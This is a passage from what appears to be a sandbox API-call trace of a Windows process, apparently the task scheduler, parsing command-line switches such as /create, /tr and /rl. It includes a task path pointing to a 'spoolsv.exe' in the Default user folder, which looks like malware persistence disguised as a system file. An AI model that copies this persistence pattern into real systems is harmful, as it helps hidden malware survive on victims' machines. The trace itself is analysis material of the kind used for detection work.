(_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.729] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.729] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.729] lstrlenW (lpString="|mo|") returned 4 [0160.729] lstrlenW (lpString="|tr|") returned 4 [0160.729] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0160.729] SetLastError (dwErrCode=0x490) [0160.729] lstrlenW (lpString="d") returned 1 [0160.729] lstrlenW (lpString="d") returned 1 [0160.729] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.729] lstrlenW (lpString="tr") returned 2 [0160.729] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.729] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|d|") returned 3 [0160.729] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.729] lstrlenW (lpString="|d|") returned 3 [0160.729] lstrlenW (lpString="|tr|") returned 4 [0160.729] SetLastError (dwErrCode=0x490) [0160.729] lstrlenW (lpString="m") returned 1 [0160.729] lstrlenW (lpString="m") returned 1 [0160.729] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.729] lstrlenW (lpString="tr") returned 2 [0160.729] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.730] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|m|") returned 3 [0160.730] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.730] lstrlenW (lpString="|m|") returned 3 [0160.730] lstrlenW (lpString="|tr|") returned 4 [0160.730] SetLastError (dwErrCode=0x490) [0160.730] lstrlenW (lpString="i") returned 1 [0160.730] lstrlenW (lpString="i") returned 1 [0160.730] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.730] lstrlenW (lpString="tr") returned 2 [0160.730] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.730] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|i|") returned 3 [0160.730] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.730] lstrlenW (lpString="|i|") returned 3 [0160.730] lstrlenW (lpString="|tr|") returned 4 [0160.730] SetLastError (dwErrCode=0x490) [0160.730] lstrlenW (lpString="tn") returned 2 [0160.730] lstrlenW (lpString="tn") returned 2 [0160.730] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.730] lstrlenW (lpString="tr") returned 2 [0160.730] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.730] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.730] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.730] lstrlenW (lpString="|tn|") returned 4 [0160.730] lstrlenW (lpString="|tr|") returned 4 [0160.730] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0160.731] SetLastError (dwErrCode=0x490) [0160.731] lstrlenW (lpString="tr") returned 2 [0160.731] lstrlenW (lpString="tr") returned 2 [0160.731] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.731] lstrlenW (lpString="tr") returned 2 [0160.731] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.731] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.731] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.731] lstrlenW (lpString="|tr|") returned 4 [0160.731] lstrlenW (lpString="|tr|") returned 4 [0160.731] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0160.731] SetLastError (dwErrCode=0x0) [0160.731] SetLastError (dwErrCode=0x0) [0160.731] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.731] lstrlenW (lpString="-/") returned 2 [0160.731] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0160.731] SetLastError (dwErrCode=0x490) [0160.731] SetLastError (dwErrCode=0x490) [0160.731] SetLastError (dwErrCode=0x0) [0160.731] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.731] StrChrIW (lpStart="'C:\\Users\\Default\\spoolsv.exe'", wMatch=0x3a) returned=":\\Users\\Default\\spoolsv.exe'" [0160.731] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.731] _memicmp (_Buf1=0x41d500, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.731] _memicmp (_Buf1=0x41d540, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.731] SetLastError (dwErrCode=0x7a) [0160.731] SetLastError (dwErrCode=0x0) [0160.732] SetLastError (dwErrCode=0x0) [0160.732] lstrlenW (lpString="'C") returned 2 [0160.732] lstrlenW (lpString="-/") returned 2 [0160.732] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0160.732] SetLastError (dwErrCode=0x490) [0160.732] SetLastError (dwErrCode=0x490) [0160.732] SetLastError (dwErrCode=0x0) [0160.732] _memicmp (_Buf1=0x41d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.732] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.732] GetProcessHeap () returned 0x400000 [0160.732] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d580) returned 1 [0160.732] GetProcessHeap () returned 0x400000 [0160.732] RtlReAllocateHeap (Heap=0x400000, Flags=0xc, Ptr=0x41d580, Size=0x3e) returned 0x419360 [0160.732] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.732] lstrlenW (lpString=" \x09") returned 2 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0160.732] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0160.733] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0160.733] GetLastError () returned 0x0 [0160.733] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.733] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.733] SetLastError (dwErrCode=0x0) [0160.733] SetLastError (dwErrCode=0x0) [0160.733] lstrlenW (lpString="/rl") returned 3 [0160.733] lstrlenW (lpString="-/") returned 2 [0160.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.734] lstrlenW (lpString="create") returned 6 [0160.734] lstrlenW (lpString="create") returned 6 [0160.734] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.734] lstrlenW (lpString="rl") returned 2 [0160.734] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.734] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.734] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.734] lstrlenW (lpString="|create|") returned 8 [0160.734] lstrlenW (lpString="|rl|") returned 4 [0160.734] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0160.734] SetLastError (dwErrCode=0x490) [0160.734] lstrlenW (lpString="?") returned 1 [0160.734] lstrlenW (lpString="?") returned 1 [0160.734] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.734] lstrlenW (lpString="rl") returned 2 [0160.734] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.734] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|?|") returned 3 [0160.734] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.734] lstrlenW (lpString="|?|") returned 3 [0160.734] lstrlenW (lpString="|rl|") returned 4 [0160.734] SetLastError (dwErrCode=0x490) [0160.734] lstrlenW (lpString="s") returned 1 [0160.734] lstrlenW (lpString="s") returned 1 [0160.734] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.735] lstrlenW (lpString="rl") returned 2 [0160.735] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.735] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|s|") returned 3 [0160.735] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.735] lstrlenW (lpString="|s|") returned 3 [0160.735] lstrlenW (lpString="|rl|") returned 4 [0160.735] SetLastError (dwErrCode=0x490) [0160.735] lstrlenW (lpString="u") returned 1 [0160.735] lstrlenW (lpString="u") returned 1 [0160.735] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.735] lstrlenW (lpString="rl") returned 2 [0160.735] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.735] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|u|") returned 3 [0160.735] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.735] lstrlenW (lpString="|u|") returned 3 [0160.735] lstrlenW (lpString="|rl|") returned 4 [0160.735] SetLastError (dwErrCode=0x490) [0160.735] lstrlenW (lpString="p") returned 1 [0160.735] lstrlenW (lpString="p") returned 1 [0160.735] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.735] lstrlenW (lpString="rl") returned 2 [0160.735] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.735] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|p|") returned 3 [0160.735] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.736] lstrlenW (lpString="|p|") returned 3 [0160.736] lstrlenW (lpString="|rl|") returned 4 [0160.736] SetLastError (dwErrCode=0x490) [0160.736] lstrlenW (lpString="ru") returned 2 [0160.736] lstrlenW (lpString="ru") returned 2 [0160.736] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.736] lstrlenW (lpString="rl") returned 2 [0160.736] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.736] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ru|") returned 4 [0160.736] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.736] lstrlenW (lpString="|ru|") returned 4 [0160.736] lstrlenW (lpString="|rl|") returned 4 [0160.736] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0160.736] SetLastError (dwErrCode=0x490) [0160.736] lstrlenW (lpString="rp") returned 2 [0160.736] lstrlenW (lpString="rp") returned 2 [0160.736] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.736] lstrlenW (lpString="rl") returned 2 [0160.736] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.736] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rp|") returned 4 [0160.736] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.736] lstrlenW (lpString="|rp|") returned 4 [0160.736] lstrlenW (lpString="|rl|") returned 4 [0160.736] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0160.736] SetLastError (dwErrCode=0x490) [0160.737] lstrlenW (lpString="sc") returned 2 [0160.737] lstrlenW (lpString="sc") returned 2 [0160.737] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.737] lstrlenW (lpString="rl") returned 2 [0160.737] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.737] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.737] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.737] lstrlenW (lpString="|sc|") returned 4 [0160.737] lstrlenW (lpString="|rl|") returned 4 [0160.737] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0160.737] SetLastError (dwErrCode=0x490) [0160.737] lstrlenW (lpString="mo") returned 2 [0160.737] lstrlenW (lpString="mo") returned 2 [0160.737] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.737] lstrlenW (lpString="rl") returned 2 [0160.737] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.737] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.737] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.737] lstrlenW (lpString="|mo|") returned 4 [0160.737] lstrlenW (lpString="|rl|") returned 4 [0160.737] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0160.737] SetLastError (dwErrCode=0x490) [0160.737] lstrlenW (lpString="d") returned 1 [0160.737] lstrlenW (lpString="d") returned 1 [0160.737] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.738] lstrlenW (lpString="rl") returned 2 [0160.738] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.738] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|d|") returned 3 [0160.738] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.738] lstrlenW (lpString="|d|") returned 3 [0160.738] lstrlenW (lpString="|rl|") returned 4 [0160.738] SetLastError (dwErrCode=0x490) [0160.738] lstrlenW (lpString="m") returned 1 [0160.738] lstrlenW (lpString="m") returned 1 [0160.738] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.738] lstrlenW (lpString="rl") returned 2 [0160.738] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.738] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|m|") returned 3 [0160.738] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.738] lstrlenW (lpString="|m|") returned 3 [0160.738] lstrlenW (lpString="|rl|") returned 4 [0160.738] SetLastError (dwErrCode=0x490) [0160.738] lstrlenW (lpString="i") returned 1 [0160.738] lstrlenW (lpString="i") returned 1 [0160.738] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.738] lstrlenW (lpString="rl") returned 2 [0160.738] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.738] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|i|") returned 3 [0160.738] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.738] lstrlenW (lpString="|i|") returned 3 [0160.738] lstrlenW (lpString="|rl|") returned 4 [0160.738] SetLastError (dwErrCode=0x490) [0160.738] lstrlenW (lpString="tn") returned 2 [0160.739] lstrlenW (lpString="tn") returned 2 [0160.739] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.739] lstrlenW (lpString="rl") returned 2 [0160.739] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.739] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.739] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.739] lstrlenW (lpString="|tn|") returned 4 [0160.739] lstrlenW (lpString="|rl|") returned 4 [0160.739] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0160.739] SetLastError (dwErrCode=0x490) [0160.739] lstrlenW (lpString="tr") returned 2 [0160.739] lstrlenW (lpString="tr") returned 2 [0160.739] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.739] lstrlenW (lpString="rl") returned 2 [0160.739] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.739] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.739] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.739] lstrlenW (lpString="|tr|") returned 4 [0160.739] lstrlenW (lpString="|rl|") returned 4 [0160.739] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0160.739] SetLastError (dwErrCode=0x490) [0160.739] lstrlenW (lpString="st") returned 2 [0160.739] lstrlenW (lpString="st") returned 2 [0160.739] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.739] lstrlenW (lpString="rl") returned 2 [0160.739] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.739] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|st|") returned 4 [0160.740] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.740] lstrlenW (lpString="|st|") returned 4 [0160.740] lstrlenW (lpString="|rl|") returned 4 [0160.740] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0160.740] SetLastError (dwErrCode=0x490) [0160.740] lstrlenW (lpString="sd") returned 2 [0160.740] lstrlenW (lpString="sd") returned 2 [0160.740] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.740] lstrlenW (lpString="rl") returned 2 [0160.740] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.740] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sd|") returned 4 [0160.786] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.786] lstrlenW (lpString="|sd|") returned 4 [0160.786] lstrlenW (lpString="|rl|") returned 4 [0160.787] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0160.787] SetLastError (dwErrCode=0x490) [0160.787] lstrlenW (lpString="ed") returned 2 [0160.787] lstrlenW (lpString="ed") returned 2 [0160.787] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.787] lstrlenW (lpString="rl") returned 2 [0160.787] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.787] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ed|") returned 4 [0160.787] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.787] lstrlenW (lpString="|ed|") returned 4 [0160.787] lstrlenW (lpString="|rl|") returned 4 [0160.787] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0160.787] SetLastError (dwErrCode=0x490) [0160.787] lstrlenW (lpString="it") returned 2 [0160.787] lstrlenW (lpString="it") returned 2 [0160.787] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.787] lstrlenW (lpString="rl") returned 2 [0160.787] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.787] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|it|") returned 4 [0160.787] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.788] lstrlenW (lpString="|it|") returned 4 [0160.788] lstrlenW (lpString="|rl|") returned 4 [0160.788] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0160.788] SetLastError (dwErrCode=0x490) [0160.788] lstrlenW (lpString="et") returned 2 [0160.788] lstrlenW (lpString="et") returned 2 [0160.788] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.788] lstrlenW (lpString="rl") returned 2 [0160.788] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.788] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|et|") returned 4 [0160.788] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.788] lstrlenW (lpString="|et|") returned 4 [0160.788] lstrlenW (lpString="|rl|") returned 4 [0160.788] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0160.788] SetLastError (dwErrCode=0x490) [0160.788] lstrlenW (lpString="k") returned 1 [0160.788] lstrlenW (lpString="k") returned 1 [0160.788] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.788] lstrlenW (lpString="rl") returned 2 [0160.788] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.788] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|k|") returned 3 [0160.788] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.788] lstrlenW (lpString="|k|") returned 3 [0160.788] lstrlenW (lpString="|rl|") returned 4 [0160.788] SetLastError (dwErrCode=0x490) [0160.788] lstrlenW (lpString="du") returned 2 [0160.788] lstrlenW (lpString="du") returned 2 [0160.789] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.789] lstrlenW (lpString="rl") returned 2 [0160.789] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.789] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|du|") returned 4 [0160.789] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.789] lstrlenW (lpString="|du|") returned 4 [0160.789] lstrlenW (lpString="|rl|") returned 4 [0160.789] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0160.789] SetLastError (dwErrCode=0x490) [0160.789] lstrlenW (lpString="ri") returned 2 [0160.789] lstrlenW (lpString="ri") returned 2 [0160.789] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.789] lstrlenW (lpString="rl") returned 2 [0160.789] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.789] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ri|") returned 4 [0160.789] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.789] lstrlenW (lpString="|ri|") returned 4 [0160.789] lstrlenW (lpString="|rl|") returned 4 [0160.789] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0160.789] SetLastError (dwErrCode=0x490) [0160.789] lstrlenW (lpString="z") returned 1 [0160.789] lstrlenW (lpString="z") returned 1 [0160.789] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.789] lstrlenW (lpString="rl") returned 2 [0160.789] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.789] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|z|") returned 3 [0160.789] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.790] lstrlenW (lpString="|z|") returned 3 [0160.790] lstrlenW (lpString="|rl|") returned 4 [0160.790] 